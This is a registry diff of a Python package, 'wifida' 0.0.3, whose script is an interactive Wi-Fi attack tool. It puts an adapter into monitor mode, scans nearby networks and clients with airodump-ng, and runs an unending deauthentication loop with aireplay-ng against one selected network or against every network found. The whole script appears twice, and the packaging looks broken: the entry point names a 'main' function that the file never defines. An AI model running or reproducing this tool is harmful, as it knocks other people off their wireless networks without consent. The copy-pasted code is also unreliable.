wifida 0.0.3__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
wifida-0.0.3/PKG-INFO ADDED
@@ -0,0 +1,18 @@
1
+ Metadata-Version: 2.4
2
+ Name: wifida
3
+ Version: 0.0.3
4
+ Summary: wifi deauth tool
5
+ Author: ssskingsss12
6
+ Author-email: smalls3000i@gmail.com
7
+ Classifier: Programming Language :: Python :: 2
8
+ Requires-Python: >=2.7
9
+ Description-Content-Type: text/markdown
10
+ Dynamic: author
11
+ Dynamic: author-email
12
+ Dynamic: classifier
13
+ Dynamic: description
14
+ Dynamic: description-content-type
15
+ Dynamic: requires-python
16
+ Dynamic: summary
17
+
18
+ Run the script using bhp_pro follow the on screen instructions for the first time installing, after install it will take you to the main menu, the script is 40 tools combined
wifida-0.0.3/README.md ADDED
@@ -0,0 +1 @@
1
+ Run the script using bhp_pro follow the on screen instructions for the first time installing, after install it will take you to the main menu, the script is 40 tools combined
wifida-0.0.3/setup.cfg ADDED
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
wifida-0.0.3/setup.py ADDED
@@ -0,0 +1,22 @@
1
+ from setuptools import setup
2
+
3
+ setup(
4
+ name='wifida', # Lowercase, unique on PyPI
5
+ version='0.0.3',
6
+ py_modules=['wifida'], # Matches your filename
7
+ entry_points={
8
+ 'console_scripts': [
9
+ 'wifida = wifida:main', # CLI command: maps to bhp_pro.py:main()
10
+ ],
11
+ },
12
+ author='ssskingsss12',
13
+ author_email='smalls3000i@gmail.com',
14
+ description='wifi deauth tool',
15
+ long_description=open('README.md').read(),
16
+ long_description_content_type='text/markdown',
17
+ classifiers=[
18
+ 'Programming Language :: Python :: 2',
19
+ ],
20
+ python_requires='>=2.7',
21
+ )
22
+
@@ -0,0 +1,18 @@
1
+ Metadata-Version: 2.4
2
+ Name: wifida
3
+ Version: 0.0.3
4
+ Summary: wifi deauth tool
5
+ Author: ssskingsss12
6
+ Author-email: smalls3000i@gmail.com
7
+ Classifier: Programming Language :: Python :: 2
8
+ Requires-Python: >=2.7
9
+ Description-Content-Type: text/markdown
10
+ Dynamic: author
11
+ Dynamic: author-email
12
+ Dynamic: classifier
13
+ Dynamic: description
14
+ Dynamic: description-content-type
15
+ Dynamic: requires-python
16
+ Dynamic: summary
17
+
18
+ Run the script using bhp_pro follow the on screen instructions for the first time installing, after install it will take you to the main menu, the script is 40 tools combined
@@ -0,0 +1,8 @@
1
+ README.md
2
+ setup.py
3
+ wifida.py
4
+ wifida.egg-info/PKG-INFO
5
+ wifida.egg-info/SOURCES.txt
6
+ wifida.egg-info/dependency_links.txt
7
+ wifida.egg-info/entry_points.txt
8
+ wifida.egg-info/top_level.txt
@@ -0,0 +1,2 @@
1
+ [console_scripts]
2
+ wifida = wifida:main
@@ -0,0 +1 @@
1
+ wifida
wifida-0.0.3/wifida.py ADDED
@@ -0,0 +1,785 @@
1
+ # -*- coding: utf-8 -*-
2
+ def wifi_deauth():
3
+ import os
4
+ import subprocess
5
+ import csv
6
+ import signal
7
+ import time
8
+ import ctypes
9
+
10
+ print('''
11
+
12
+ ██╗ ██╗██╗███████╗██╗
13
+ ██║ ██║██║██╔════╝██║
14
+ ██║ █╗ ██║██║█████╗ ██║
15
+ ██║███╗██║██║██╔══╝ ██║
16
+ ╚███╔███╔╝██║██║ ██║
17
+ ╚══╝╚══╝ ╚═╝╚═╝ ╚═╝
18
+
19
+ █████╗ ██████╗ ██████╗ ███╗ ███╗██╗███╗ ██╗ █████╗ ████████╗██╗ ██████╗ ███╗ ██╗
20
+ ██╔══██╗██╔══██╗██╔═══██╗████╗ ████║██║████╗ ██║██╔══██╗╚══██╔══╝██║██╔═══██╗████╗ ██║
21
+ ███████║██████╔╝██║ ██║██╔████╔██║██║██╔██╗ ██║███████║ ██║ ██║██║ ██║██╔██╗ ██║
22
+ ██╔══██║██╔══██╗██║ ██║██║╚██╔╝██║██║██║╚██╗██║██╔══██║ ██║ ██║██║ ██║██║╚██╗██║
23
+ ██║ ██║██████╔╝╚██████╔╝██║ ╚═╝ ██║██║██║ ╚████║██║ ██║ ██║ ██║╚██████╔╝██║ ╚████║
24
+ ╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝
25
+
26
+ made by ssskingsss12
27
+
28
+ use with caution
29
+ help option soon come!!!
30
+ ''')
31
+
32
+ # Constants
33
+ MENU_OPTIONS = {
34
+ "1": "Toggle Monitor Mode",
35
+ "2": "Scan Networks and Clients",
36
+ "3": "Perform Deauthentication Attack",
37
+ "4": "help",
38
+ "5": "Exit",
39
+ }
40
+
41
+ # Signal handling
42
+ def signal_handler(sig, frame):
43
+ print("\n[+] Returning to menu...")
44
+ raise KeyboardInterrupt
45
+ signal.signal(signal.SIGINT, signal_handler)
46
+
47
+ def run_command(command):
48
+ """Python 2.7 compatible command runner"""
49
+ try:
50
+ process = subprocess.Popen(command, shell=True,
51
+ stdout=subprocess.PIPE,
52
+ stderr=subprocess.PIPE)
53
+ stdout, stderr = process.communicate()
54
+ return stdout.strip(), stderr.strip()
55
+ except Exception as e:
56
+ return "", str(e)
57
+
58
+ def is_wsl():
59
+ """Detect if running inside Windows Subsystem for Linux."""
60
+ output, _ = run_command("uname -a")
61
+ return "microsoft" in output.lower()
62
+
63
+ def list_network_adapters():
64
+ print("[+] Detecting wireless network adapters...")
65
+ adapters = []
66
+
67
+ # --- 1️⃣ Check if running under WSL
68
+ if is_wsl():
69
+ print("[!] Detected Windows Subsystem for Linux (WSL).")
70
+ print(" Wi-Fi adapters cannot be directly accessed from WSL.")
71
+ print(" Please run this script on native Linux or attach a USB Wi-Fi adapter.")
72
+ return adapters
73
+
74
+ # --- 2️⃣ Try normal detection first
75
+ output, error = run_command("iw dev")
76
+ if output:
77
+ for line in output.splitlines():
78
+ if line.strip().startswith("Interface"):
79
+ name = line.split()[1]
80
+ adapters.append((name, ""))
81
+ if adapters:
82
+ print("[+] Found wireless adapters via iw: {}".format([a[0] for a in adapters]))
83
+ return adapters
84
+
85
+ print("[!] No adapters found via 'iw dev'. Attempting recovery...")
86
+
87
+ # --- 3️⃣ Try to unblock and bring interfaces up
88
+ print("[*] Running rfkill unblock all ...")
89
+ run_command("sudo rfkill unblock all")
90
+
91
+ print("[*] Bringing up possible wireless interfaces ...")
92
+ output, _ = run_command("ip link show")
93
+ for line in output.splitlines():
94
+ if "wl" in line: # likely a wireless adapter
95
+ name = line.split(":")[1].strip()
96
+ run_command("sudo ip link set {} up".format(name))
97
+
98
+ # --- 4️⃣ Retry iw dev
99
+ output, error = run_command("iw dev")
100
+ if output:
101
+ for line in output.splitlines():
102
+ if line.strip().startswith("Interface"):
103
+ name = line.split()[1]
104
+ adapters.append((name, ""))
105
+ if adapters:
106
+ print("[+] Found wireless adapters after recovery: {}".format([a[0] for a in adapters]))
107
+ return adapters
108
+
109
+ # --- 5️⃣ Final fallback to ip link
110
+ output, error = run_command("ip -o link show")
111
+ if output:
112
+ for line in output.splitlines():
113
+ if "wl" in line: # still only take wireless
114
+ name = line.split(":")[1].strip()
115
+ adapters.append((name, ""))
116
+ if adapters:
117
+ print("[*] Found wireless interfaces via ip link: {}".format([a[0] for a in adapters]))
118
+ return adapters
119
+
120
+ print("[!] No wireless adapters detected after all attempts.")
121
+ print(" Try manually unblocking or reconnecting your Wi-Fi adapter.")
122
+ return adapters
123
+
124
+ def set_monitor_mode(interface, enable):
125
+ """Toggle monitor mode on the specified interface."""
126
+ mode = "monitor" if enable else "managed"
127
+ print("[+] Setting {} to {} mode...".format(interface, mode))
128
+
129
+ commands = []
130
+ if enable:
131
+ commands = [
132
+ "sudo ip link set {} down".format(interface),
133
+ "sudo iw dev {} set type monitor".format(interface),
134
+ "sudo ip link set {} up".format(interface),
135
+ "sudo iw dev {} set channel 1".format(interface)
136
+ ]
137
+ else:
138
+ commands = [
139
+ "sudo ip link set {} down".format(interface),
140
+ "sudo iw dev {} set type managed".format(interface),
141
+ "sudo ip link set {} up".format(interface)
142
+ ]
143
+
144
+ for cmd in commands:
145
+ if cmd:
146
+ output, error = run_command(cmd)
147
+ if error:
148
+ print("[!] Error running '{}': {}".format(cmd, error))
149
+
150
+ print("[+] {} mode set on {}.".format(mode.capitalize(), interface))
151
+
152
+ def parse_csv(file_path, is_client_scan=False):
153
+ if not os.path.exists(file_path):
154
+ print("[!] CSV file {} not found.".format(file_path))
155
+ return []
156
+
157
+ results = []
158
+ with open(file_path, "r") as file:
159
+ reader = csv.reader(file)
160
+ for row in reader:
161
+ if is_client_scan:
162
+ if len(row) > 0 and row[0].strip():
163
+ results.append(row[0].strip()) # Station MAC
164
+ else:
165
+ if len(row) >= 14:
166
+ bssid = row[0].strip()
167
+ signal = row[8].strip()
168
+ channel = row[3].strip()
169
+ ssid = row[13].strip()
170
+ results.append((bssid, signal, channel, ssid))
171
+ return results
172
+
173
+ def scan_networks_and_clients(interface):
174
+ # Step 1: Scan for networks
175
+ print("[+] Scanning for networks on {}...".format(interface))
176
+ network_output_file = "network_scan"
177
+ run_command("sudo timeout 15 airodump-ng {} --output-format csv -w {}".format(interface, network_output_file))
178
+ network_csv = "{}-01.csv".format(network_output_file)
179
+ networks = parse_csv(network_csv)
180
+
181
+ if not networks:
182
+ print("[!] No networks found.")
183
+ return
184
+
185
+ # Step 2: Scan for clients on each network
186
+ clients_data = {}
187
+ for bssid, signal, channel, ssid in networks:
188
+ print("[+] Scanning clients for SSID: {}, BSSID: {}, Channel: {}...".format(ssid, bssid, channel))
189
+ client_output_file = "client_scan"
190
+ run_command("sudo timeout 10 airodump-ng --bssid {} -c {} {} --output-format csv -w {}".format(bssid, channel, interface, client_output_file))
191
+ client_csv = "{}-01.csv".format(client_output_file)
192
+ clients = parse_csv(client_csv, is_client_scan=True)
193
+ clients_data[bssid] = clients
194
+
195
+ print(" [>] Found {} clients for BSSID {}.".format(len(clients), bssid))
196
+
197
+ # Step 3: Save results
198
+ save_results(networks, clients_data)
199
+
200
+ def save_results(networks, clients_data):
201
+ with open("scan_results.csv", "w") as file:
202
+ file.write("Networks:\n")
203
+ for bssid, signal, channel, ssid in networks:
204
+ file.write("SSID: {}, BSSID: {}, Channel: {}, Signal: {}\n".format(ssid, bssid, channel, signal))
205
+
206
+ file.write("\nClients:\n")
207
+ for bssid, clients in clients_data.items():
208
+ file.write("BSSID: {}, Clients: {}\n".format(bssid, ', '.join(clients)))
209
+
210
+ print("[+] Results saved to scan_results.txt.")
211
+
212
+ def deauth_attack(interface, bssid, clients):
213
+ if not clients:
214
+ print("[!] No clients to deauthenticate.")
215
+ return
216
+
217
+ print("[+] Starting deauthentication attack on {} clients. Press Ctrl+C to stop.".format(len(clients)))
218
+ try:
219
+ while True:
220
+ for client in clients:
221
+ print("[+] Deauthenticating client {}...".format(client))
222
+ run_command("sudo aireplay-ng -0 0 -a {} -c {} {}".format(bssid, client, interface))
223
+ # Add a small delay to avoid overwhelming the system
224
+ time.sleep(2)
225
+ except KeyboardInterrupt:
226
+ print("\n[+] Deauthentication attack stopped.")
227
+
228
+ # Network data parsing
229
+ def parse_network_data(file_name):
230
+ networks = {}
231
+
232
+ try:
233
+ with open(file_name, 'r') as file:
234
+ lines = file.readlines()
235
+ for line in lines:
236
+ line = line.strip()
237
+
238
+ # Skip empty lines
239
+ if not line:
240
+ continue
241
+
242
+ # Parse lines with the expected format
243
+ if line.startswith("BSSID:"):
244
+ try:
245
+ parts = line.split(", Clients:")
246
+ bssid = parts[0].split("BSSID:")[1].strip()
247
+
248
+ # Handle case where no clients are listed
249
+ clients = []
250
+ if len(parts) > 1:
251
+ clients = [client.strip() for client in parts[1].split(",")]
252
+
253
+ networks[bssid] = clients
254
+ except (IndexError, ValueError) as e:
255
+ print("[!] Error parsing line: {} - {}".format(line, e))
256
+ continue
257
+ except IOError:
258
+ print("[!] File not found: {}".format(file_name))
259
+ except Exception as e:
260
+ print("[!] Unexpected error while reading file: {}".format(e))
261
+
262
+ return networks
263
+
264
+ def is_admin():
265
+ if os.name == 'nt':
266
+ return ctypes.windll.shell32.IsUserAnAdmin() != 0
267
+ else:
268
+ return os.geteuid() == 0
269
+
270
+ def help_menu():
271
+ def help_out():
272
+ hh1 = ''' this script is a tool
273
+ used for deauthing wifi users
274
+ '''
275
+ print(hh1)
276
+
277
+ def help_main():
278
+ choice = raw_input("enter your input") # Changed to raw_input for Python 2
279
+ if choice == "1":
280
+ help_out()
281
+ time.sleep(10)
282
+ os.system('cls' if os.name == 'nt' else 'clear')
283
+ else:
284
+ os.system('cls' if os.name == 'nt' else 'clear')
285
+
286
+ help_main()
287
+
288
+ def mainkio():
289
+ if not is_admin():
290
+ print("[!] This script must be run as root!")
291
+ return
292
+ bssid = ""
293
+ clients = []
294
+ adapter = 'wlan0mon'
295
+ while True:
296
+ print("\nWi-Fi Attack Tool")
297
+ for key, value in MENU_OPTIONS.items():
298
+ print("{}: {}".format(key, value))
299
+
300
+ choice = raw_input("Choose an option: ").strip() # Changed to raw_input
301
+
302
+ if choice == "1":
303
+ adapters = list_network_adapters()
304
+ if not adapters:
305
+ print("[!] No network adapters found.")
306
+ continue
307
+
308
+ print("\n[+] Available network adapters:")
309
+ for i, (name, index) in enumerate(adapters, start=1):
310
+ print(" {}. {} (Index: {})".format(i, name, index))
311
+
312
+ try:
313
+ adapter_choice = int(raw_input("Select an adapter by number: ").strip()) # Changed to raw_input
314
+ if adapter_choice < 1 or adapter_choice > len(adapters):
315
+ print("[!] Invalid choice. Please try again.")
316
+ continue
317
+
318
+ adapter = adapters[adapter_choice - 1][0]
319
+ mode = raw_input("Enable monitor mode? (y/n): ").strip().lower() == "y" # Changed to raw_input
320
+ set_monitor_mode(adapter, mode)
321
+ except ValueError:
322
+ print("[!] Invalid input. Please enter a number.")
323
+
324
+ elif choice == "2":
325
+ if not adapter:
326
+ print("[!] Please set an adapter first (Option 1).")
327
+ continue
328
+ scan_networks_and_clients(adapter)
329
+
330
+ elif choice == "3":
331
+ file_name = raw_input("Enter the network data file name: ").strip() # Changed to raw_input
332
+ networks = parse_network_data(file_name)
333
+
334
+ if not networks:
335
+ print("[!] No valid network data found in the file.")
336
+ continue
337
+
338
+ print("[+] Networks found in the file:")
339
+ for index, (bssid, client_list) in enumerate(networks.items(), start=1):
340
+ client_str = ', '.join(client_list) if client_list else 'No clients'
341
+ print(" {}. BSSID: {}, Clients: {}".format(index, bssid, client_str))
342
+
343
+ action = raw_input("\n[+] Choose an action:\n" # Changed to raw_input
344
+ " 1. Select a specific BSSID to deauthenticate\n"
345
+ " 2. Deauthenticate all BSSIDs and their clients\n"
346
+ "Enter your choice (1/2): ").strip()
347
+
348
+ if action == "1":
349
+ try:
350
+ bssid_index = int(raw_input("Enter the number corresponding to the BSSID: ").strip()) # Changed to raw_input
351
+ if bssid_index < 1 or bssid_index > len(networks):
352
+ print("[!] Invalid choice. Please try again.")
353
+ continue
354
+
355
+ selected_bssid = list(networks.keys())[bssid_index - 1]
356
+ clients = networks[selected_bssid]
357
+ client_str = ', '.join(clients) if clients else 'No clients'
358
+ print("[+] Selected BSSID: {} with clients: {}".format(selected_bssid, client_str))
359
+
360
+ if not clients:
361
+ print("[!] No clients to deauthenticate for this BSSID.")
362
+ continue
363
+
364
+ # Perform deauthentication attack for the selected BSSID
365
+ deauth_attack(adapter, selected_bssid, clients)
366
+
367
+ except ValueError:
368
+ print("[!] Invalid input. Please enter a valid number.")
369
+
370
+ elif action == "2":
371
+ print("[+] Deauthenticating all BSSIDs and their clients...")
372
+ # Note: You may need to modify deauth_attack to handle multiple BSSIDs
373
+ for bssid, clients in networks.items():
374
+ if clients:
375
+ deauth_attack(adapter, bssid, clients)
376
+
377
+ else:
378
+ print("[!] Invalid action selected. Please choose 1 or 2.")
379
+
380
+ elif choice == "4":
381
+ help_menu()
382
+
383
+ elif choice == "5":
384
+ print("[+] Exiting tool.")
385
+ break
386
+
387
+ else:
388
+ print("[!] Invalid choice. Please try again.")
389
+
390
+ mainkio()
391
+ # -*- coding: utf-8 -*-
392
+ def wifi_deauth():
393
+ import os
394
+ import subprocess
395
+ import csv
396
+ import signal
397
+ import time
398
+ import ctypes
399
+
400
+ print('''
401
+
402
+ ██╗ ██╗██╗███████╗██╗
403
+ ██║ ██║██║██╔════╝██║
404
+ ██║ █╗ ██║██║█████╗ ██║
405
+ ██║███╗██║██║██╔══╝ ██║
406
+ ╚███╔███╔╝██║██║ ██║
407
+ ╚══╝╚══╝ ╚═╝╚═╝ ╚═╝
408
+
409
+ █████╗ ██████╗ ██████╗ ███╗ ███╗██╗███╗ ██╗ █████╗ ████████╗██╗ ██████╗ ███╗ ██╗
410
+ ██╔══██╗██╔══██╗██╔═══██╗████╗ ████║██║████╗ ██║██╔══██╗╚══██╔══╝██║██╔═══██╗████╗ ██║
411
+ ███████║██████╔╝██║ ██║██╔████╔██║██║██╔██╗ ██║███████║ ██║ ██║██║ ██║██╔██╗ ██║
412
+ ██╔══██║██╔══██╗██║ ██║██║╚██╔╝██║██║██║╚██╗██║██╔══██║ ██║ ██║██║ ██║██║╚██╗██║
413
+ ██║ ██║██████╔╝╚██████╔╝██║ ╚═╝ ██║██║██║ ╚████║██║ ██║ ██║ ██║╚██████╔╝██║ ╚████║
414
+ ╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝
415
+
416
+ made by ssskingsss12
417
+
418
+ use with caution
419
+ help option soon come!!!
420
+ ''')
421
+
422
+ # Constants
423
+ MENU_OPTIONS = {
424
+ "1": "Toggle Monitor Mode",
425
+ "2": "Scan Networks and Clients",
426
+ "3": "Perform Deauthentication Attack",
427
+ "4": "help",
428
+ "5": "Exit",
429
+ }
430
+
431
+ # Signal handling
432
+ def signal_handler(sig, frame):
433
+ print("\n[+] Returning to menu...")
434
+ raise KeyboardInterrupt
435
+ signal.signal(signal.SIGINT, signal_handler)
436
+
437
+ def run_command(command):
438
+ """Python 2.7 compatible command runner"""
439
+ try:
440
+ process = subprocess.Popen(command, shell=True,
441
+ stdout=subprocess.PIPE,
442
+ stderr=subprocess.PIPE)
443
+ stdout, stderr = process.communicate()
444
+ return stdout.strip(), stderr.strip()
445
+ except Exception as e:
446
+ return "", str(e)
447
+
448
+ def is_wsl():
449
+ """Detect if running inside Windows Subsystem for Linux."""
450
+ output, _ = run_command("uname -a")
451
+ return "microsoft" in output.lower()
452
+
453
+ def list_network_adapters():
454
+ print("[+] Detecting wireless network adapters...")
455
+ adapters = []
456
+
457
+ # --- 1️⃣ Check if running under WSL
458
+ if is_wsl():
459
+ print("[!] Detected Windows Subsystem for Linux (WSL).")
460
+ print(" Wi-Fi adapters cannot be directly accessed from WSL.")
461
+ print(" Please run this script on native Linux or attach a USB Wi-Fi adapter.")
462
+ return adapters
463
+
464
+ # --- 2️⃣ Try normal detection first
465
+ output, error = run_command("iw dev")
466
+ if output:
467
+ for line in output.splitlines():
468
+ if line.strip().startswith("Interface"):
469
+ name = line.split()[1]
470
+ adapters.append((name, ""))
471
+ if adapters:
472
+ print("[+] Found wireless adapters via iw: {}".format([a[0] for a in adapters]))
473
+ return adapters
474
+
475
+ print("[!] No adapters found via 'iw dev'. Attempting recovery...")
476
+
477
+ # --- 3️⃣ Try to unblock and bring interfaces up
478
+ print("[*] Running rfkill unblock all ...")
479
+ run_command("sudo rfkill unblock all")
480
+
481
+ print("[*] Bringing up possible wireless interfaces ...")
482
+ output, _ = run_command("ip link show")
483
+ for line in output.splitlines():
484
+ if "wl" in line: # likely a wireless adapter
485
+ name = line.split(":")[1].strip()
486
+ run_command("sudo ip link set {} up".format(name))
487
+
488
+ # --- 4️⃣ Retry iw dev
489
+ output, error = run_command("iw dev")
490
+ if output:
491
+ for line in output.splitlines():
492
+ if line.strip().startswith("Interface"):
493
+ name = line.split()[1]
494
+ adapters.append((name, ""))
495
+ if adapters:
496
+ print("[+] Found wireless adapters after recovery: {}".format([a[0] for a in adapters]))
497
+ return adapters
498
+
499
+ # --- 5️⃣ Final fallback to ip link
500
+ output, error = run_command("ip -o link show")
501
+ if output:
502
+ for line in output.splitlines():
503
+ if "wl" in line: # still only take wireless
504
+ name = line.split(":")[1].strip()
505
+ adapters.append((name, ""))
506
+ if adapters:
507
+ print("[*] Found wireless interfaces via ip link: {}".format([a[0] for a in adapters]))
508
+ return adapters
509
+
510
+ print("[!] No wireless adapters detected after all attempts.")
511
+ print(" Try manually unblocking or reconnecting your Wi-Fi adapter.")
512
+ return adapters
513
+
514
+ def set_monitor_mode(interface, enable):
515
+ """Toggle monitor mode on the specified interface."""
516
+ mode = "monitor" if enable else "managed"
517
+ print("[+] Setting {} to {} mode...".format(interface, mode))
518
+
519
+ commands = []
520
+ if enable:
521
+ commands = [
522
+ "sudo ip link set {} down".format(interface),
523
+ "sudo iw dev {} set type monitor".format(interface),
524
+ "sudo ip link set {} up".format(interface),
525
+ "sudo iw dev {} set channel 1".format(interface)
526
+ ]
527
+ else:
528
+ commands = [
529
+ "sudo ip link set {} down".format(interface),
530
+ "sudo iw dev {} set type managed".format(interface),
531
+ "sudo ip link set {} up".format(interface)
532
+ ]
533
+
534
+ for cmd in commands:
535
+ if cmd:
536
+ output, error = run_command(cmd)
537
+ if error:
538
+ print("[!] Error running '{}': {}".format(cmd, error))
539
+
540
+ print("[+] {} mode set on {}.".format(mode.capitalize(), interface))
541
+
542
+ def parse_csv(file_path, is_client_scan=False):
543
+ if not os.path.exists(file_path):
544
+ print("[!] CSV file {} not found.".format(file_path))
545
+ return []
546
+
547
+ results = []
548
+ with open(file_path, "r") as file:
549
+ reader = csv.reader(file)
550
+ for row in reader:
551
+ if is_client_scan:
552
+ if len(row) > 0 and row[0].strip():
553
+ results.append(row[0].strip()) # Station MAC
554
+ else:
555
+ if len(row) >= 14:
556
+ bssid = row[0].strip()
557
+ signal = row[8].strip()
558
+ channel = row[3].strip()
559
+ ssid = row[13].strip()
560
+ results.append((bssid, signal, channel, ssid))
561
+ return results
562
+
563
+ def scan_networks_and_clients(interface):
564
+ # Step 1: Scan for networks
565
+ print("[+] Scanning for networks on {}...".format(interface))
566
+ network_output_file = "network_scan"
567
+ run_command("sudo timeout 15 airodump-ng {} --output-format csv -w {}".format(interface, network_output_file))
568
+ network_csv = "{}-01.csv".format(network_output_file)
569
+ networks = parse_csv(network_csv)
570
+
571
+ if not networks:
572
+ print("[!] No networks found.")
573
+ return
574
+
575
+ # Step 2: Scan for clients on each network
576
+ clients_data = {}
577
+ for bssid, signal, channel, ssid in networks:
578
+ print("[+] Scanning clients for SSID: {}, BSSID: {}, Channel: {}...".format(ssid, bssid, channel))
579
+ client_output_file = "client_scan"
580
+ run_command("sudo timeout 10 airodump-ng --bssid {} -c {} {} --output-format csv -w {}".format(bssid, channel, interface, client_output_file))
581
+ client_csv = "{}-01.csv".format(client_output_file)
582
+ clients = parse_csv(client_csv, is_client_scan=True)
583
+ clients_data[bssid] = clients
584
+
585
+ print(" [>] Found {} clients for BSSID {}.".format(len(clients), bssid))
586
+
587
+ # Step 3: Save results
588
+ save_results(networks, clients_data)
589
+
590
+ def save_results(networks, clients_data):
591
+ with open("scan_results.csv", "w") as file:
592
+ file.write("Networks:\n")
593
+ for bssid, signal, channel, ssid in networks:
594
+ file.write("SSID: {}, BSSID: {}, Channel: {}, Signal: {}\n".format(ssid, bssid, channel, signal))
595
+
596
+ file.write("\nClients:\n")
597
+ for bssid, clients in clients_data.items():
598
+ file.write("BSSID: {}, Clients: {}\n".format(bssid, ', '.join(clients)))
599
+
600
+ print("[+] Results saved to scan_results.txt.")
601
+
602
+ def deauth_attack(interface, bssid, clients):
603
+ if not clients:
604
+ print("[!] No clients to deauthenticate.")
605
+ return
606
+
607
+ print("[+] Starting deauthentication attack on {} clients. Press Ctrl+C to stop.".format(len(clients)))
608
+ try:
609
+ while True:
610
+ for client in clients:
611
+ print("[+] Deauthenticating client {}...".format(client))
612
+ run_command("sudo aireplay-ng -0 0 -a {} -c {} {}".format(bssid, client, interface))
613
+ # Add a small delay to avoid overwhelming the system
614
+ time.sleep(2)
615
+ except KeyboardInterrupt:
616
+ print("\n[+] Deauthentication attack stopped.")
617
+
618
+ # Network data parsing
619
+ def parse_network_data(file_name):
620
+ networks = {}
621
+
622
+ try:
623
+ with open(file_name, 'r') as file:
624
+ lines = file.readlines()
625
+ for line in lines:
626
+ line = line.strip()
627
+
628
+ # Skip empty lines
629
+ if not line:
630
+ continue
631
+
632
+ # Parse lines with the expected format
633
+ if line.startswith("BSSID:"):
634
+ try:
635
+ parts = line.split(", Clients:")
636
+ bssid = parts[0].split("BSSID:")[1].strip()
637
+
638
+ # Handle case where no clients are listed
639
+ clients = []
640
+ if len(parts) > 1:
641
+ clients = [client.strip() for client in parts[1].split(",")]
642
+
643
+ networks[bssid] = clients
644
+ except (IndexError, ValueError) as e:
645
+ print("[!] Error parsing line: {} - {}".format(line, e))
646
+ continue
647
+ except IOError:
648
+ print("[!] File not found: {}".format(file_name))
649
+ except Exception as e:
650
+ print("[!] Unexpected error while reading file: {}".format(e))
651
+
652
+ return networks
653
+
654
+ def is_admin():
655
+ if os.name == 'nt':
656
+ return ctypes.windll.shell32.IsUserAnAdmin() != 0
657
+ else:
658
+ return os.geteuid() == 0
659
+
660
+ def help_menu():
661
+ def help_out():
662
+ hh1 = ''' this script is a tool
663
+ used for deauthing wifi users
664
+ '''
665
+ print(hh1)
666
+
667
+ def help_main():
668
+ choice = raw_input("enter your input") # Changed to raw_input for Python 2
669
+ if choice == "1":
670
+ help_out()
671
+ time.sleep(10)
672
+ os.system('cls' if os.name == 'nt' else 'clear')
673
+ else:
674
+ os.system('cls' if os.name == 'nt' else 'clear')
675
+
676
+ help_main()
677
+
678
+ def mainkio():
679
+ if not is_admin():
680
+ print("[!] This script must be run as root!")
681
+ return
682
+ bssid = ""
683
+ clients = []
684
+ adapter = 'wlan0mon'
685
+ while True:
686
+ print("\nWi-Fi Attack Tool")
687
+ for key, value in MENU_OPTIONS.items():
688
+ print("{}: {}".format(key, value))
689
+
690
+ choice = raw_input("Choose an option: ").strip() # Changed to raw_input
691
+
692
+ if choice == "1":
693
+ adapters = list_network_adapters()
694
+ if not adapters:
695
+ print("[!] No network adapters found.")
696
+ continue
697
+
698
+ print("\n[+] Available network adapters:")
699
+ for i, (name, index) in enumerate(adapters, start=1):
700
+ print(" {}. {} (Index: {})".format(i, name, index))
701
+
702
+ try:
703
+ adapter_choice = int(raw_input("Select an adapter by number: ").strip()) # Changed to raw_input
704
+ if adapter_choice < 1 or adapter_choice > len(adapters):
705
+ print("[!] Invalid choice. Please try again.")
706
+ continue
707
+
708
+ adapter = adapters[adapter_choice - 1][0]
709
+ mode = raw_input("Enable monitor mode? (y/n): ").strip().lower() == "y" # Changed to raw_input
710
+ set_monitor_mode(adapter, mode)
711
+ except ValueError:
712
+ print("[!] Invalid input. Please enter a number.")
713
+
714
+ elif choice == "2":
715
+ if not adapter:
716
+ print("[!] Please set an adapter first (Option 1).")
717
+ continue
718
+ scan_networks_and_clients(adapter)
719
+
720
+ elif choice == "3":
721
+ file_name = raw_input("Enter the network data file name: ").strip() # Changed to raw_input
722
+ networks = parse_network_data(file_name)
723
+
724
+ if not networks:
725
+ print("[!] No valid network data found in the file.")
726
+ continue
727
+
728
+ print("[+] Networks found in the file:")
729
+ for index, (bssid, client_list) in enumerate(networks.items(), start=1):
730
+ client_str = ', '.join(client_list) if client_list else 'No clients'
731
+ print(" {}. BSSID: {}, Clients: {}".format(index, bssid, client_str))
732
+
733
+ action = raw_input("\n[+] Choose an action:\n" # Changed to raw_input
734
+ " 1. Select a specific BSSID to deauthenticate\n"
735
+ " 2. Deauthenticate all BSSIDs and their clients\n"
736
+ "Enter your choice (1/2): ").strip()
737
+
738
+ if action == "1":
739
+ try:
740
+ bssid_index = int(raw_input("Enter the number corresponding to the BSSID: ").strip()) # Changed to raw_input
741
+ if bssid_index < 1 or bssid_index > len(networks):
742
+ print("[!] Invalid choice. Please try again.")
743
+ continue
744
+
745
+ selected_bssid = list(networks.keys())[bssid_index - 1]
746
+ clients = networks[selected_bssid]
747
+ client_str = ', '.join(clients) if clients else 'No clients'
748
+ print("[+] Selected BSSID: {} with clients: {}".format(selected_bssid, client_str))
749
+
750
+ if not clients:
751
+ print("[!] No clients to deauthenticate for this BSSID.")
752
+ continue
753
+
754
+ # Perform deauthentication attack for the selected BSSID
755
+ deauth_attack(adapter, selected_bssid, clients)
756
+
757
+ except ValueError:
758
+ print("[!] Invalid input. Please enter a valid number.")
759
+
760
+ elif action == "2":
761
+ print("[+] Deauthenticating all BSSIDs and their clients...")
762
+ # Note: You may need to modify deauth_attack to handle multiple BSSIDs
763
+ for bssid, clients in networks.items():
764
+ if clients:
765
+ deauth_attack(adapter, bssid, clients)
766
+
767
+ else:
768
+ print("[!] Invalid action selected. Please choose 1 or 2.")
769
+
770
+ elif choice == "4":
771
+ help_menu()
772
+
773
+ elif choice == "5":
774
+ print("[+] Exiting tool.")
775
+ break
776
+
777
+ else:
778
+ print("[!] Invalid choice. Please try again.")
779
+
780
+ mainkio()
781
+
782
+
783
+ if __name__ == "__main__":
784
+ wifi_deauth()
785
+ wifi_deauth()